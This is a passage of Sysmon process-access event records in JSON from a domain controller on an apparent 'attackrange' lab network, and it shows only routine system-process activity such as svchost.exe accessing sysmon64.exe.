11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3294,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00109B1D0500}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00109B1D0500}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3295,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3296,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3297,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3298,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3299,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3300,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3301,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3302,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 